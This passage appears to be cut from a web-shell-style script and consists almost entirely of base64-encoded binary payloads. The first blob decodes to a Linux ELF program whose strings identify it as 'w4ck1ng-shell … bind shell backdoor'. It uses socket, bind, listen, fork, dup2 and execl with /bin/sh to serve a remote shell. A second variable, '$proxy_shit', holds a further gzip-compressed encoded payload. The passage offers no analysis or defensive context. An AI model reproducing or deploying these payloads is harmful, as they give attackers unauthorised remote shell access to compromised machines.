fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAIt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KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; + +$proxy_shit="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